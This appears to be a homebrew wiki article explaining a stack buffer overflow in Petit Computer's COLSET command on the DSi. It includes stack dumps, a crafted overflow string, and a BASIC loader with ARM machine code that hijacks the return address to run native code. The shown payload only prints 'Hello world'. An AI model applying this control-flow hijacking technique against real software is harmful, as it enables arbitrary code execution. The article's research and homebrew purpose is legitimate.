As has been known for some time, COLSET has a bug in that the third argument, the color data string, does some unintended things when it is larger than intended. Specifically, this string overwrites part of the stack, and it is what parts you overwrite that determine whether nothing happens, your system crashes, or (with some preparation) you get something more interesting.
Some stack examples[]
(3rd argument = "🅐🅑🅧🅨🅻🆁")
0276e2a0 01 02 18 19 0c 12 00 02
0276e2a8 ff 00 00 00 e8 e2 76 02
0276e2b0 ff 00 00 00 01 00 00 00
0276e2b8 ea e3 76 02 d8 8c 2c 02
0276e2c0 50 ff 17 02 5c 54 03 02
(3rd argument = "123456")
0276e2a0 31 32 33 34 35 36 00 02
0276e2a0 ff 00 00 00 e8 e2 76 02
0276e2a0 01 00 00 00 24 05 04 02
0276e2a0 01 00 00 00 e4 54 66 02
0276e2a0 ff 00 00 00 c8 54 03 02
Here are two example executions of COLSET "SP",255,J$ with arguments of the correct size. The first one has the string copied to the first 6 bytes, and returns eventually with an Illegal function call. This is likely related to the return address 0x0203545c. The second one has the valid string copied to the same 6 bytes, but has the return address 0x020354c8.
The first 36 bytes more or less don't matter. If you destroy these, nothing major happens, as they are discarded when COLSET returns (this is partially an assumption, but makes sense with how the stack is set up. You get a normal Illegal function call if your string is invalid and at most 36 bytes.
But, if your string is larger than this, what happens? Taking the example string "ZZZZ"*10, you will end up with a stack segment that looks like this:
(3rd argument = "ZZZZ"*10)
0276e2a0 5a 5a 5a 5a 5a 5a 5a 5a
0276e2a0 5a 5a 5a 5a 5a 5a 5a 5a
0276e2a0 5a 5a 5a 5a 5a 5a 5a 5a
0276e2a0 5a 5a 5a 5a 5a 5a 5a 5a
0276e2a0 5a 5a 5a 5a 5a 5a 5a 5a
In this case, we've destroyed the return address, so when COLSET exits it tries to jump to 0x5a5a5a5a, which isn't even a valid address, and so Petit Computer crashes.
If you string is larger than 40 bytes, you start to overwrite parts of the stack that are still in use. Interestingly, if COLSET exits to a valid address Petit Computer can recover from this, as long as execution resumes in the expected location. (The example string I used can be generated with J$="ZZZZ"*9+CHR$(E4)+CHR$(6F)+CHR$(67)+CHR$(02)+"ZZZZ"*54, which would jump to GRP memory and then return to 0x020354c8, the normal return address.)
Cool things to do with this[]
Knowing how the stack is destroyed, now we can control the return address and return to somewhere valid. This forms the basis for how the petit-compwner exploit works - overwrite the stack with an address in GRP memory, then execute the code stored in the GRP to load homebrew. (See the actual released exploit for the COLSET code used there - it's pretty much just creating the string with the jump address.)
Alternatively, knowing a/the valid return address of COLSET lets us escape the interpreter and fall into GRP memory. This essentially lets you write native code that you can then call from Petit Computer. For example, a "Hello World" program (written in this funky inline way because trying to scan QR codes from nds-bootstrap didn't work):
' ldr r0, =0x020354c8 \ bx r0
' DATA 00001Fe510FF2FE1C8540302
'start:
' ldr r0, =0x06000000
' add r1, pc, #0x20
' mov r2, #helloEnd-hello
'copy:
' ldrb r3,[r1]
' strh r3,[r0]
' add r0, #2
' add r1, #1
' subs r2, #1
' bne copy
'end:
' ldr r0, =0x020354c8
' bx r0
'hello:
'.asciz "Hello world"
'helloEnd:
DATA 0604A0E320108FE2
DATA 0C20A0E30030D1E5
DATA B030C0E1020080E2
DATA 011081E2012052E2
DATA F9FFFF1A0C009FE5
DATA 10FF2FE148656C6C
DATA 6F20776F726C6400
DATA C8540302
DATA 0
ACLS:CLEAR
CH$="0123456789ABCDEF"
DIM C(512)
I=0
@READ
READ A$
FOR J=0 TO LEN(A$)-1 STEP 2
C(I)=VAL("&H"+MID$(A$,J,2))
I=I+1
NEXT
IF A$!="0" GOTO @READ
FOR CX=0 TO 7
FOR Y=0 TO 7
FOR X=0 TO 7
GPSET CX*8+X+128,Y+128,C(X+8*Y+64*CX)
NEXT
NEXT
NEXT
'02676fe4 - near beginning of GRP0
J$="ZZZZ"*9+"□og🅑"
COLSET "SP",1,J$
WAIT 300
Disclaimer[]
My testing was done on a DSi running PTC through TWiLight Menu++. The stacks examples are taken with addresses corresponding to the DSi's execution, and may vary by console or by launch method (some previous testing gave me different addresses when launching DSiWare normally from 3DS instead of TWiLight Menu++, for example). I can't guarantee that this code works 100% of the time, though it seems reliable enough and doesn't rely on any fixed address other than the COLSET return, which presumably works on any USA copy of Petit Computer v2.2.